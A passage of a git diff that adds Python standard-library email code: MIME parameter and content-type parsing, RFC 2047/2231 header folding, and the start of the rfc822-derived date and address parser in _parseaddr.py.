value[len(ttext):] + ttext = ValueTerminal(ttext, 'ttext') + _validate_xtext(ttext) + return ttext, value + +def get_token(value): + """token = [CFWS] 1*ttext [CFWS] + + The RFC equivalent of ttext is any US-ASCII chars except space, ctls, or + tspecials. We also exclude tabs even though the RFC doesn't. + + The RFC implies the CFWS but is not explicit about it in the BNF. + + """ + mtoken = Token() + if value and value[0] in CFWS_LEADER: + token, value = get_cfws(value) + mtoken.append(token) + if value and value[0] in TOKEN_ENDS: + raise errors.HeaderParseError( + "expected token but found '{}'".format(value)) + token, value = get_ttext(value) + mtoken.append(token) + if value and value[0] in CFWS_LEADER: + token, value = get_cfws(value) + mtoken.append(token) + return mtoken, value + +def get_attrtext(value): + """attrtext = 1*(any non-ATTRIBUTE_ENDS character) + + We allow any non-ATTRIBUTE_ENDS in attrtext, but add defects to the + token's defects list if we find non-attrtext characters. We also register + defects for *any* non-printables even though the RFC doesn't exclude all of + them, because we follow the spirit of RFC 5322. + + """ + m = _non_attribute_end_matcher(value) + if not m: + raise errors.HeaderParseError( + "expected attrtext but found {!r}".format(value)) + attrtext = m.group() + value = value[len(attrtext):] + attrtext = ValueTerminal(attrtext, 'attrtext') + _validate_xtext(attrtext) + return attrtext, value + +def get_attribute(value): + """ [CFWS] 1*attrtext [CFWS] + + This version of the BNF makes the CFWS explicit, and as usual we use a + value terminal for the actual run of characters. The RFC equivalent of + attrtext is the token characters, with the subtraction of '*', "'", and '%'. + We include tab in the excluded set just as we do for token. + + """ + attribute = Attribute() + if value and value[0] in CFWS_LEADER: + token, value = get_cfws(value) + attribute.append(token) + if value and value[0] in ATTRIBUTE_ENDS: + raise errors.HeaderParseError( + "expected token but found '{}'".format(value)) + token, value = get_attrtext(value) + attribute.append(token) + if value and value[0] in CFWS_LEADER: + token, value = get_cfws(value) + attribute.append(token) + return attribute, value + +def get_extended_attrtext(value): + """attrtext = 1*(any non-ATTRIBUTE_ENDS character plus '%') + + This is a special parsing routine so that we get a value that + includes % escapes as a single string (which we decode as a single + string later). + + """ + m = _non_extended_attribute_end_matcher(value) + if not m: + raise errors.HeaderParseError( + "expected extended attrtext but found {!r}".format(value)) + attrtext = m.group() + value = value[len(attrtext):] + attrtext = ValueTerminal(attrtext, 'extended-attrtext') + _validate_xtext(attrtext) + return attrtext, value + +def get_extended_attribute(value): + """ [CFWS] 1*extended_attrtext [CFWS] + + This is like the non-extended version except we allow % characters, so that + we can pick up an encoded value as a single string. + + """ + # XXX: should we have an ExtendedAttribute TokenList? + attribute = Attribute() + if value and value[0] in CFWS_LEADER: + token, value = get_cfws(value) + attribute.append(token) + if value and value[0] in EXTENDED_ATTRIBUTE_ENDS: + raise errors.HeaderParseError( + "expected token but found '{}'".format(value)) + token, value = get_extended_attrtext(value) + attribute.append(token) + if value and value[0] in CFWS_LEADER: + token, value = get_cfws(value) + attribute.append(token) + return attribute, value + +def get_section(value): + """ '*' digits + + The formal BNF is more complicated because leading 0s are not allowed. We + check for that and add a defect. We also assume no CFWS is allowed between + the '*' and the digits, though the RFC is not crystal clear on that. + The caller should already have dealt with leading CFWS. + + """ + section = Section() + if not value or value[0] != '*': + raise errors.HeaderParseError("Expected section but found {}".format( + value)) + section.append(ValueTerminal('*', 'section-marker')) + value = value[1:] + if not value or not value[0].isdigit(): + raise errors.HeaderParseError("Expected section number but " + "found {}".format(value)) + digits = '' + while value and value[0].isdigit(): + digits += value[0] + value = value[1:] + if digits[0] == '0' and digits != '0': + section.defects.append(errors.InvalidHeaderError("section number" + "has an invalid leading 0")) + section.number = int(digits) + section.append(ValueTerminal(digits, 'digits')) + return section, value + + +def get_value(value): + """ quoted-string / attribute + + """ + v = Value() + if not value: + raise errors.HeaderParseError("Expected value but found end of string") + leader = None + if value[0] in CFWS_LEADER: + leader, value = get_cfws(value) + if not value: + raise errors.HeaderParseError("Expected value but found " + "only {}".format(leader)) + if value[0] == '"': + token, value = get_quoted_string(value) + else: + token, value = get_extended_attribute(value) + if leader is not None: + token[:0] = [leader] + v.append(token) + return v, value + +def get_parameter(value): + """ attribute [section] ["*"] [CFWS] "=" value + + The CFWS is implied by the RFC but not made explicit in the BNF. This + simplified form of the BNF from the RFC is made to conform with the RFC BNF + through some extra checks. We do it this way because it makes both error + recovery and working with the resulting parse tree easier. + """ + # It is possible CFWS would also be implicitly allowed between the section + # and the 'extended-attribute' marker (the '*') , but we've never seen that + # in the wild and we will therefore ignore the possibility. + param = Parameter() + token, value = get_attribute(value) + param.append(token) + if not value or value[0] == ';': + param.defects.append(errors.InvalidHeaderDefect("Parameter contains " + "name ({}) but no value".format(token))) + return param, value + if value[0] == '*': + try: + token, value = get_section(value) + param.sectioned = True + param.append(token) + except errors.HeaderParseError: + pass + if not value: + raise errors.HeaderParseError("Incomplete parameter") + if value[0] == '*': + param.append(ValueTerminal('*', 'extended-parameter-marker')) + value = value[1:] + param.extended = True + if value[0] != '=': + raise errors.HeaderParseError("Parameter not followed by '='") + param.append(ValueTerminal('=', 'parameter-separator')) + value = value[1:] + leader = None + if value and value[0] in CFWS_LEADER: + token, value = get_cfws(value) + param.append(token) + remainder = None + appendto = param + if param.extended and value and value[0] == '"': + # Now for some serious hackery to handle the common invalid case of + # double quotes around an extended value. We also accept (with defect) + # a value marked as encoded that isn't really. + qstring, remainder = get_quoted_string(value) + inner_value = qstring.stripped_value + semi_valid = False + if param.section_number == 0: + if inner_value and inner_value[0] == "'": + semi_valid = True + else: + token, rest = get_attrtext(inner_value) + if rest and rest[0] == "'": + semi_valid = True + else: + try: + token, rest = get_extended_attrtext(inner_value) + except: + pass + else: + if not rest: + semi_valid = True + if semi_valid: + param.defects.append(errors.InvalidHeaderDefect( + "Quoted string value for extended parameter is invalid")) + param.append(qstring) + for t in qstring: + if t.token_type == 'bare-quoted-string': + t[:] = [] + appendto = t + break + value = inner_value + else: + remainder = None + param.defects.append(errors.InvalidHeaderDefect( + "Parameter marked as extended but appears to have a " + "quoted string value that is non-encoded")) + if value and value[0] == "'": + token = None + else: + token, value = get_value(value) + if not param.extended or param.section_number > 0: + if not value or value[0] != "'": + appendto.append(token) + if remainder is not None: + assert not value, value + value = remainder + return param, value + param.defects.append(errors.InvalidHeaderDefect( + "Apparent initial-extended-value but attribute " + "was not marked as extended or was not initial section")) + if not value: + # Assume the charset/lang is missing and the token is the value. + param.defects.append(errors.InvalidHeaderDefect( + "Missing required charset/lang delimiters")) + appendto.append(token) + if remainder is None: + return param, value + else: + if token is not None: + for t in token: + if t.token_type == 'extended-attrtext': + break + t.token_type == 'attrtext' + appendto.append(t) + param.charset = t.value + if value[0] != "'": + raise errors.HeaderParseError("Expected RFC2231 char/lang encoding " + "delimiter, but found {!r}".format(value)) + appendto.append(ValueTerminal("'", 'RFC2231-delimiter')) + value = value[1:] + if value and value[0] != "'": + token, value = get_attrtext(value) + appendto.append(token) + param.lang = token.value + if not value or value[0] != "'": + raise errors.HeaderParseError("Expected RFC2231 char/lang encoding " + "delimiter, but found {}".format(value)) + appendto.append(ValueTerminal("'", 'RFC2231-delimiter')) + value = value[1:] + if remainder is not None: + # Treat the rest of value as bare quoted string content. + v = Value() + while value: + if value[0] in WSP: + token, value = get_fws(value) + else: + token, value = get_qcontent(value) + v.append(token) + token = v + else: + token, value = get_value(value) + appendto.append(token) + if remainder is not None: + assert not value, value + value = remainder + return param, value + +def parse_mime_parameters(value): + """ parameter *( ";" parameter ) + + That BNF is meant to indicate this routine should only be called after + finding and handling the leading ';'. There is no corresponding rule in + the formal RFC grammar, but it is more convenient for us for the set of + parameters to be treated as its own TokenList. + + This is 'parse' routine because it consumes the reminaing value, but it + would never be called to parse a full header. Instead it is called to + parse everything after the non-parameter value of a specific MIME header. + + """ + mime_parameters = MimeParameters() + while value: + try: + token, value = get_parameter(value) + mime_parameters.append(token) + except errors.HeaderParseError as err: + leader = None + if value[0] in CFWS_LEADER: + leader, value = get_cfws(value) + if not value: + mime_parameters.append(leader) + return mime_parameters + if value[0] == ';': + if leader is not None: + mime_parameters.append(leader) + mime_parameters.defects.append(errors.InvalidHeaderDefect( + "parameter entry with no content")) + else: + token, value = get_invalid_parameter(value) + if leader: + token[:0] = [leader] + mime_parameters.append(token) + mime_parameters.defects.append(errors.InvalidHeaderDefect( + "invalid parameter {!r}".format(token))) + if value and value[0] != ';': + # Junk after the otherwise valid parameter. Mark it as + # invalid, but it will have a value. + param = mime_parameters[-1] + param.token_type = 'invalid-parameter' + token, value = get_invalid_parameter(value) + param.extend(token) + mime_parameters.defects.append(errors.InvalidHeaderDefect( + "parameter with invalid trailing text {!r}".format(token))) + if value: + # Must be a ';' at this point. + mime_parameters.append(ValueTerminal(';', 'parameter-separator')) + value = value[1:] + return mime_parameters + +def _find_mime_parameters(tokenlist, value): + """Do our best to find the parameters in an invalid MIME header + + """ + while value and value[0] != ';': + if value[0] in PHRASE_ENDS: + tokenlist.append(ValueTerminal(value[0], 'misplaced-special')) + value = value[1:] + else: + token, value = get_phrase(value) + tokenlist.append(token) + if not value: + return + tokenlist.append(ValueTerminal(';', 'parameter-separator')) + tokenlist.append(parse_mime_parameters(value[1:])) + +def parse_content_type_header(value): + """ maintype "/" subtype *( ";" parameter ) + + The maintype and substype are tokens. Theoretically they could + be checked against the official IANA list + x-token, but we + don't do that. + """ + ctype = ContentType() + recover = False + if not value: + ctype.defects.append(errors.HeaderMissingRequiredValue( + "Missing content type specification")) + return ctype + try: + token, value = get_token(value) + except errors.HeaderParseError: + ctype.defects.append(errors.InvalidHeaderDefect( + "Expected content maintype but found {!r}".format(value))) + _find_mime_parameters(ctype, value) + return ctype + ctype.append(token) + # XXX: If we really want to follow the formal grammar we should make + # mantype and subtype specialized TokenLists here. Probably not worth it. + if not value or value[0] != '/': + ctype.defects.append(errors.InvalidHeaderDefect( + "Invalid content type")) + if value: + _find_mime_parameters(ctype, value) + return ctype + ctype.maintype = token.value.strip().lower() + ctype.append(ValueTerminal('/', 'content-type-separator')) + value = value[1:] + try: + token, value = get_token(value) + except errors.HeaderParseError: + ctype.defects.append(errors.InvalidHeaderDefect( + "Expected content subtype but found {!r}".format(value))) + _find_mime_parameters(ctype, value) + return ctype + ctype.append(token) + ctype.subtype = token.value.strip().lower() + if not value: + return ctype + if value[0] != ';': + ctype.defects.append(errors.InvalidHeaderDefect( + "Only parameters are valid after content type, but " + "found {!r}".format(value))) + # The RFC requires that a syntactically invalid content-type be treated + # as text/plain. Perhaps we should postel this, but we should probably + # only do that if we were checking the subtype value against IANA. + del ctype.maintype, ctype.subtype + _find_mime_parameters(ctype, value) + return ctype + ctype.append(ValueTerminal(';', 'parameter-separator')) + ctype.append(parse_mime_parameters(value[1:])) + return ctype + +def parse_content_disposition_header(value): + """ disposition-type *( ";" parameter ) + + """ + disp_header = ContentDisposition() + if not value: + disp_header.defects.append(errors.HeaderMissingRequiredValue( + "Missing content disposition")) + return disp_header + try: + token, value = get_token(value) + except errors.HeaderParseError: + disp_header.defects.append(errors.InvalidHeaderDefect( + "Expected content disposition but found {!r}".format(value))) + _find_mime_parameters(disp_header, value) + return disp_header + disp_header.append(token) + disp_header.content_disposition = token.value.strip().lower() + if not value: + return disp_header + if value[0] != ';': + disp_header.defects.append(errors.InvalidHeaderDefect( + "Only parameters are valid after content disposition, but " + "found {!r}".format(value))) + _find_mime_parameters(disp_header, value) + return disp_header + disp_header.append(ValueTerminal(';', 'parameter-separator')) + disp_header.append(parse_mime_parameters(value[1:])) + return disp_header + +def parse_content_transfer_encoding_header(value): + """ mechanism + + """ + # We should probably validate the values, since the list is fixed. + cte_header = ContentTransferEncoding() + if not value: + cte_header.defects.append(errors.HeaderMissingRequiredValue( + "Missing content transfer encoding")) + return cte_header + try: + token, value = get_token(value) + except errors.HeaderParseError: + cte_header.defects.append(errors.InvalidHeaderDefect( + "Expected content transfer encoding but found {!r}".format(value))) + else: + cte_header.append(token) + cte_header.cte = token.value.strip().lower() + if not value: + return cte_header + while value: + cte_header.defects.append(errors.InvalidHeaderDefect( + "Extra text after content transfer encoding")) + if value[0] in PHRASE_ENDS: + cte_header.append(ValueTerminal(value[0], 'misplaced-special')) + value = value[1:] + else: + token, value = get_phrase(value) + cte_header.append(token) + return cte_header + + +# +# Header folding +# +# Header folding is complex, with lots of rules and corner cases. The +# following code does its best to obey the rules and handle the corner +# cases, but you can be sure there are few bugs:) +# +# This folder generally canonicalizes as it goes, preferring the stringified +# version of each token. The tokens contain information that supports the +# folder, including which tokens can be encoded in which ways. +# +# Folded text is accumulated in a simple list of strings ('lines'), each +# one of which should be less than policy.max_line_length ('maxlen'). +# + +def _steal_trailing_WSP_if_exists(lines): + wsp = '' + if lines and lines[-1] and lines[-1][-1] in WSP: + wsp = lines[-1][-1] + lines[-1] = lines[-1][:-1] + return wsp + +def _refold_parse_tree(parse_tree, *, policy): + """Return string of contents of parse_tree folded according to RFC rules. + + """ + # max_line_length 0/None means no limit, ie: infinitely long. + maxlen = policy.max_line_length or float("+inf") + encoding = 'utf-8' if policy.utf8 else 'us-ascii' + lines = [''] + last_ew = None + wrap_as_ew_blocked = 0 + want_encoding = False + end_ew_not_allowed = Terminal('', 'wrap_as_ew_blocked') + parts = list(parse_tree) + while parts: + part = parts.pop(0) + if part is end_ew_not_allowed: + wrap_as_ew_blocked -= 1 + continue + tstr = str(part) + try: + tstr.encode(encoding) + charset = encoding + except UnicodeEncodeError: + if any(isinstance(x, errors.UndecodableBytesDefect) + for x in part.all_defects): + charset = 'unknown-8bit' + else: + # If policy.utf8 is false this should really be taken from a + # 'charset' property on the policy. + charset = 'utf-8' + want_encoding = True + if part.token_type == 'mime-parameters': + # Mime parameter folding (using RFC2231) is extra special. + _fold_mime_parameters(part, lines, maxlen, encoding) + continue + if want_encoding and not wrap_as_ew_blocked: + if not part.as_ew_allowed: + want_encoding = False + last_ew = None + if part.syntactic_break: + encoded_part = part.fold(policy=policy)[:-1] # strip nl + if policy.linesep not in encoded_part: + # It fits on a single line + if len(encoded_part) > maxlen - len(lines[-1]): + # But not on this one, so start a new one. + newline = _steal_trailing_WSP_if_exists(lines) + # XXX what if encoded_part has no leading FWS? + lines.append(newline) + lines[-1] += encoded_part + continue + # Either this is not a major syntactic break, so we don't + # want it on a line by itself even if it fits, or it + # doesn't fit on a line by itself. Either way, fall through + # to unpacking the subparts and wrapping them. + if not hasattr(part, 'encode'): + # It's not a Terminal, do each piece individually. + parts = list(part) + parts + else: + # It's a terminal, wrap it as an encoded word, possibly + # combining it with previously encoded words if allowed. + last_ew = _fold_as_ew(tstr, lines, maxlen, last_ew, + part.ew_combine_allowed, charset) + want_encoding = False + continue + if len(tstr) <= maxlen - len(lines[-1]): + lines[-1] += tstr + continue + # This part is too long to fit. The RFC wants us to break at + # "major syntactic breaks", so unless we don't consider this + # to be one, check if it will fit on the next line by itself. + if (part.syntactic_break and + len(tstr) + 1 <= maxlen): + newline = _steal_trailing_WSP_if_exists(lines) + if newline or part.startswith_fws(): + lines.append(newline + tstr) + continue + if not hasattr(part, 'encode'): + # It's not a terminal, try folding the subparts. + newparts = list(part) + if not part.as_ew_allowed: + wrap_as_ew_blocked += 1 + newparts.append(end_ew_not_allowed) + parts = newparts + parts + continue + if part.as_ew_allowed and not wrap_as_ew_blocked: + # It doesn't need CTE encoding, but encode it anyway so we can + # wrap it. + parts.insert(0, part) + want_encoding = True + continue + # We can't figure out how to wrap, it, so give up. + newline = _steal_trailing_WSP_if_exists(lines) + if newline or part.startswith_fws(): + lines.append(newline + tstr) + else: + # We can't fold it onto the next line either... + lines[-1] += tstr + return policy.linesep.join(lines) + policy.linesep + +def _fold_as_ew(to_encode, lines, maxlen, last_ew, ew_combine_allowed, charset): + """Fold string to_encode into lines as encoded word, combining if allowed. + Return the new value for last_ew, or None if ew_combine_allowed is False. + + If there is already an encoded word in the last line of lines (indicated by + a non-None value for last_ew) and ew_combine_allowed is true, decode the + existing ew, combine it with to_encode, and re-encode. Otherwise, encode + to_encode. In either case, split to_encode as necessary so that the + encoded segments fit within maxlen. + + """ + if last_ew is not None and ew_combine_allowed: + to_encode = str( + get_unstructured(lines[-1][last_ew:] + to_encode)) + lines[-1] = lines[-1][:last_ew] + if to_encode[0] in WSP: + # We're joining this to non-encoded text, so don't encode + # the leading blank. + leading_wsp = to_encode[0] + to_encode = to_encode[1:] + if (len(lines[-1]) == maxlen): + lines.append(_steal_trailing_WSP_if_exists(lines)) + lines[-1] += leading_wsp + trailing_wsp = '' + if to_encode[-1] in WSP: + # Likewise for the trailing space. + trailing_wsp = to_encode[-1] + to_encode = to_encode[:-1] + new_last_ew = len(lines[-1]) if last_ew is None else last_ew + while to_encode: + remaining_space = maxlen - len(lines[-1]) + # The RFC2047 chrome takes up 7 characters plus the length + # of the charset name. + encode_as = 'utf-8' if charset == 'us-ascii' else charset + text_space = remaining_space - len(encode_as) - 7 + if text_space <= 0: + lines.append(' ') + # XXX We'll get an infinite loop here if maxlen is <= 7 + continue + first_part = to_encode[:text_space] + ew = _ew.encode(first_part, charset=encode_as) + excess = len(ew) - remaining_space + if excess > 0: + # encode always chooses the shortest encoding, so this + # is guaranteed to fit at this point. + first_part = first_part[:-excess] + ew = _ew.encode(first_part) + lines[-1] += ew + to_encode = to_encode[len(first_part):] + if to_encode: + lines.append(' ') + new_last_ew = len(lines[-1]) + lines[-1] += trailing_wsp + return new_last_ew if ew_combine_allowed else None + +def _fold_mime_parameters(part, lines, maxlen, encoding): + """Fold TokenList 'part' into the 'lines' list as mime parameters. + + Using the decoded list of parameters and values, format them according to + the RFC rules, including using RFC2231 encoding if the value cannot be + expressed in 'encoding' and/or the parameter+value is too long to fit + within 'maxlen'. + + """ + # Special case for RFC2231 encoding: start from decoded values and use + # RFC2231 encoding iff needed. + # + # Note that the 1 and 2s being added to the length calculations are + # accounting for the possibly-needed spaces and semicolons we'll be adding. + # + for name, value in part.params: + # XXX What if this ';' puts us over maxlen the first time through the + # loop? We should split the header value onto a newline in that case, + # but to do that we need to recognize the need earlier or reparse the + # header, so I'm going to ignore that bug for now. It'll only put us + # one character over. + if not lines[-1].rstrip().endswith(';'): + lines[-1] += ';' + charset = encoding + error_handler = 'strict' + try: + value.encode(encoding) + encoding_required = False + except UnicodeEncodeError: + encoding_required = True + if utils._has_surrogates(value): + charset = 'unknown-8bit' + error_handler = 'surrogateescape' + else: + charset = 'utf-8' + if encoding_required: + encoded_value = urllib.parse.quote( + value, safe='', errors=error_handler) + tstr = "{}*={}''{}".format(name, charset, encoded_value) + else: + tstr = '{}={}'.format(name, quote_string(value)) + if len(lines[-1]) + len(tstr) + 1 < maxlen: + lines[-1] = lines[-1] + ' ' + tstr + continue + elif len(tstr) + 2 <= maxlen: + lines.append(' ' + tstr) + continue + # We need multiple sections. We are allowed to mix encoded and + # non-encoded sections, but we aren't going to. We'll encode them all. + section = 0 + extra_chrome = charset + "''" + while value: + chrome_len = len(name) + len(str(section)) + 3 + len(extra_chrome) + if maxlen <= chrome_len + 3: + # We need room for the leading blank, the trailing semicolon, + # and at least one character of the value. If we don't + # have that, we'd be stuck, so in that case fall back to + # the RFC standard width. + maxlen = 78 + splitpoint = maxchars = maxlen - chrome_len - 2 + while True: + partial = value[:splitpoint] + encoded_value = urllib.parse.quote( + partial, safe='', errors=error_handler) + if len(encoded_value) <= maxchars: + break + splitpoint -= 1 + lines.append(" {}*{}*={}{}".format( + name, section, extra_chrome, encoded_value)) + extra_chrome = '' + section += 1 + value = value[splitpoint:] + if value: + lines[-1] += ';' diff --git a/email/_parseaddr.py b/email/_parseaddr.py new file mode 100755 index 0000000..cdfa372 --- /dev/null +++ b/email/_parseaddr.py @@ -0,0 +1,540 @@ +# Copyright (C) 2002-2007 Python Software Foundation +# Contact: email-sig@python.org + +"""Email address parsing code. + +Lifted directly from rfc822.py. This should eventually be rewritten. +""" + +__all__ = [ + 'mktime_tz', + 'parsedate', + 'parsedate_tz', + 'quote', + ] + +import time, calendar + +SPACE = ' ' +EMPTYSTRING = '' +COMMASPACE = ', ' + +# Parse a date field +_monthnames = ['jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul', + 'aug', 'sep', 'oct', 'nov', 'dec', + 'january', 'february', 'march', 'april', 'may', 'june', 'july', + 'august', 'september', 'october', 'november', 'december'] + +_daynames = ['mon', 'tue', 'wed', 'thu', 'fri', 'sat', 'sun'] + +# The timezone table does not include the military time zones defined +# in RFC822, other than Z. According to RFC1123, the description in +# RFC822 gets the signs wrong, so we can't rely on any such time +# zones. RFC1123 recommends that numeric timezone indicators be used +# instead of timezone names. + +_timezones = {'UT':0, 'UTC':0, 'GMT':0, 'Z':0, + 'AST': -400, 'ADT': -300, # Atlantic (used in Canada) + 'EST': -500, 'EDT': -400, # Eastern + 'CST': -600, 'CDT': -500, # Central + 'MST': -700, 'MDT': -600, # Mountain + 'PST': -800, 'PDT': -700 # Pacific + } + + +def parsedate_tz(data): + """Convert a date string to a time tuple. + + Accounts for military timezones. + """ + res = _parsedate_tz(data) + if not res: + return + if res[9] is None: + res[9] = 0 + return tuple(res) + +def _parsedate_tz(data): + """Convert date to extended time tuple. + + The last (additional) element is the time zone offset in seconds, except if + the timezone was specified as -0000. In that case the last element is + None. This indicates a UTC timestamp that explicitly declaims knowledge of + the source timezone, as opposed to a +0000 timestamp that indicates the + source timezone really was UTC. + + """ + if not data: + return + data = data.split() + # The FWS after the comma after the day-of-week is optional, so search and + # adjust for this. + if data[0].endswith(',') or data[0].lower() in _daynames: + # There's a dayname here. Skip it + del data[0] + else: + i = data[0].rfind(',') + if i >= 0: + data[0] = data[0][i+1:] + if len(data) == 3: # RFC 850 date, deprecated + stuff = data[0].split('-') + if len(stuff) == 3: + data = stuff + data[1:] + if len(data) == 4: + s = data[3] + i = s.find('+') + if i == -1: + i = s.find('-') + if i > 0: + data[3:] = [s[:i], s[i:]] + else: + data.append('') # Dummy tz + if len(data) < 5: + return None + data = data[:5] + [dd, mm, yy, tm, tz] = data + mm = mm.lower() + if mm not in _monthnames: + dd, mm = mm, dd.lower() + if mm not in _monthnames: + return None + mm = _monthnames.index(mm) + 1 + if mm > 12: + mm -= 12 + if dd[-1] == ',': + dd = dd[:-1] + i = yy.find(':') + if i > 0: + yy, tm = tm, yy + if yy[-1] == ',': + yy = yy[:-1] + if not yy[0].isdigit(): + yy, tz = tz, yy + if tm[-1] == ',': + tm = tm[:-1] + tm = tm.split(':') + if len(tm) == 2: + [thh, tmm] = tm + tss = '0' + elif len(tm) == 3: + [thh, tmm, tss] = tm + elif len(tm) == 1 and '.' in tm[0]: + # Some non-compliant MUAs use '.' to separate time elements. + tm = tm[0].split('.') + if len(tm) == 2: + [thh, tmm] = tm + tss = 0 + elif len(tm) == 3: + [thh, tmm, tss] = tm + else: + return None + try: + yy = int(yy) + dd = int(dd) + thh = int(thh) + tmm = int(tmm) + tss = int(tss) + except ValueError: + return None + # Check for a yy specified in two-digit format, then convert it to the + # appropriate four-digit format, according to the POSIX standard. RFC 822 + # calls for a two-digit yy, but RFC 2822 (which obsoletes RFC 822) + # mandates a 4-digit yy. For more information, see the documentation for + # the time module. + if yy < 100: + # The year is between 1969 and 1999 (inclusive). + if yy > 68: + yy += 1900 + # The year is between 2000 and 2068 (inclusive). + else: + yy += 2000 + tzoffset = None + tz = tz.upper() + if tz in _timezones: + tzoffset = _timezones[tz] + else: + try: + tzoffset = int(tz) + except ValueError: + pass + if tzoffset==0 and tz.startswith('-'): + tzoffset = None + # Convert a timezone offset into seconds ; -0500 -> -18000 + if tzoffset: + if tzoffset < 0: + tzsign = -1 + tzoffset = -tzoffset + else: + tzsign = 1 + tzoffset = tzsign * ( (tzoffset//100)*3600 + (tzoffset % 100)*60) + # Daylight Saving Time flag is set to -1, since DST is unknown. + return [yy, mm, dd, thh, tmm, tss, 0, 1, -1, tzoffset] + + +def parsedate(data): + """Convert a time string to a time tuple.""" + t = parsedate_tz(data) + if isinstance(t, tuple): + return t[:9] + else: + return t + + +def mktime_tz(data): + """Turn a 10-tuple as returned by parsedate_tz() into a POSIX timestamp.""" + if data[9] is None: + # No zone info, so localtime is better assumption than GMT + return time.mktime(data[:8] + (-1,)) + else: + t = calendar.timegm(data) + return t - data[9] + + +def quote(str): + """Prepare string to be used in a quoted string. + + Turns backslash and double quote characters into quoted pairs. These + are the only characters that need to be quoted inside a quoted string. + Does not add the surrounding double quotes. + """ + return str.replace('\\', '\\\\').replace('"', '\\"') + + +class AddrlistClass: + """Address parser class by Ben Escoto. + + To understand what this class does, it helps to have a copy of RFC 2822 in + front of you. + + Note: this class interface is deprecated and may be removed in the future. + Use email.utils.AddressList instead. + """ + + def __init__(self, field): + """Initialize a new instance. + + `field' is an unparsed address header field, containing + one or more addresses. + """ + self.specials = '()<>@,:;.\"[]' + self.pos = 0 + self.LWS = ' \t' + self.CR = '\r\n' + self.FWS = self.LWS + self.CR + self.atomends = self.specials + self.LWS + self.CR + # Note that RFC 2822 now specifies `.' as obs-phrase, meaning that it + # is obsolete syntax. RFC 2822 requires that we recognize obsolete + # syntax, so allow dots in phrases. + self.phraseends = self.atomends.replace('.', '') + self.field = field + self.commentlist = [] + + def gotonext(self): + """Skip white space and extract comments.""" + wslist = [] + while self.pos < len(self.field): + if self.field[self.pos] in self.LWS + '\n\r': + if self.field[self.pos] not in '\n\r': + wslist.append(self.field[self.pos]) + self.pos += 1 + elif self.field[self.pos] == '(': + self.commentlist.append(self.getcomment()) + else: + break + return EMPTYSTRING.join(wslist) + + def getaddrlist(self): + """Parse all addresses. + + Returns a list containing all of the addresses. + """ + result = [] + while self.pos < len(self.field): + ad = self.getaddress() + if ad: + result += ad + else: + result.append(('', '')) + return result + + def getaddress(self): + """Parse the next address.""" + self.commentlist = [] + self.gotonext() + + oldpos = self.pos + oldcl = self.commentlist + plist = self.getphraselist() + + self.gotonext() + returnlist = [] + + if self.pos >= len(self.field): + # Bad email address technically, no domain. + if plist: + returnlist = [(SPACE.join(self.commentlist), plist[0])] + + elif self.field[self.pos] in '.@': + # email address is just an addrspec + # this isn't very efficient since we start over + self.pos = oldpos + self.commentlist = oldcl + addrspec = self.getaddrspec() + returnlist = [(SPACE.join(self.commentlist), addrspec)] + + elif self.field[self.pos] == ':': + # address is a group + returnlist = [] + + fieldlen = len(self.field) + self.pos += 1 + while self.pos < len(self.field): + self.gotonext() + if self.pos < fieldlen and self.field[self.pos] == ';': + self.pos += 1 + break + returnlist = returnlist + self.getaddress() + + elif self.field[self.pos] == '<': + # Address is a phrase then a route addr + routeaddr = self.getrouteaddr() + + if self.commentlist: + returnlist = [(SPACE.join(plist) + ' (' + + ' '.join(self.commentlist) + ')', routeaddr)] + else: + returnlist = [(SPACE.join(plist), routeaddr)] + + else: + if plist: + returnlist = [(SPACE.join(self.commentlist), plist[0])] + elif self.field[self.pos] in self.specials: + self.pos += 1 + + self.gotonext() + if self.pos < len(self.field) and self.field[self.pos] == ',': + self.pos += 1 + return returnlist + + def getrouteaddr(self): + """Parse a route address (Return-path value). + + This method just skips all the route stuff and returns the addrspec. + """ + if self.field[self.pos] != '<': + return + + expectroute = False + self.pos += 1 + self.gotonext() + adlist = '' + while self.pos < len(self.field): + if expectroute: + self.getdomain() + expectroute = False + elif self.field[self.pos] == '>': + self.pos += 1 + break + elif self.field[self.pos] == '@': + self.pos += 1 + expectroute = True + elif self.field[self.pos] == ':': + self.pos += 1 + else: + adlist = self.getaddrspec() + self.pos += 1 + break + self.gotonext() + + return adlist + + def getaddrspec(self): + """Parse an RFC 2822 addr-spec.""" + aslist = [] + + self.gotonext() + while self.pos < len(self.field): + preserve_ws = True + if self.field[self.pos] == '.': + if aslist and not aslist[-1].strip(): + aslist.pop() + aslist.append('.') + self.pos += 1 + preserve_ws = False + elif self.field[self.pos] == '"': + aslist.append('"%s"' % quote(self.getquote())) + elif self.field[self.pos] in self.atomends: + if aslist and not aslist[-1].strip(): + aslist.pop() + break + else: + aslist.append(self.getatom()) + ws = self.gotonext() + if preserve_ws and ws: + aslist.append(ws) + + if self.pos >= len(self.field) or self.field[self.pos] != '@': + return EMPTYSTRING.join(aslist) + + aslist.append('@') + self.pos += 1 + self.gotonext() + return EMPTYSTRING.join(aslist) + self.getdomain() + + def getdomain(self): + """Get the complete domain name from an address.""" + sdlist = [] + while self.pos < len(self.field): + if self.field[self.pos] in self.LWS: + self.pos += 1 + elif self.field[self.pos] == '(': + self.commentlist.append(self.getcomment()) + elif self.field[self.pos] == '[': + sdlist.append(self.getdomainliteral()) + elif self.field[self.pos] == '.': + self.pos += 1 + sdlist.append('.') + elif self.field[self.pos] in self.atomends: + break + else: + sdlist.append(self.getatom()) + return EMPTYSTRING.join(sdlist) + + def getdelimited(self, beginchar, endchars, allowcomments=True): + """Parse a header fragment delimited by special characters. + + `beginchar' is the start character for the fragment. + If self is not looking at an instance of `beginchar' then + getdelimited returns the empty string. + + `endchars' is a sequence of allowable end-delimiting characters. + Parsing stops when one of these is encountered. + + If `allowcomments' is non-zero, embedded RFC 2822 comments are allowed + within the parsed fragment. + """ + if self.field[self.pos] != beginchar: + return '' + + slist = [''] + quote = False + self.pos += 1 + while self.pos < len(self.field): + if quote: + slist.append(self.field[self.pos]) + quote = False + elif self.field[self.pos] in endchars: + self.pos += 1 + break + elif allowcomments and self.field[self.pos] == '(': + slist.append(self.getcomment()) + continue # have already advanced pos from getcomment + elif self.field[self.pos] == '\\': + quote = True + else: + slist.append(self.field[self.pos]) + self.pos += 1 + + return EMPTYSTRING.join(slist) + + def getquote(self): + """Get a quote-delimited fragment from self's field.""" + return self.getdelimited('"', '"\r', False) + + def getcomment(self): + """Get a parenthesis-delimited fragment from self's field.""" + return self.getdelimited('(', ')\r', True) + + def getdomainliteral(self): + """Parse an RFC 2822 domain-literal.""" + return '[%s]' % 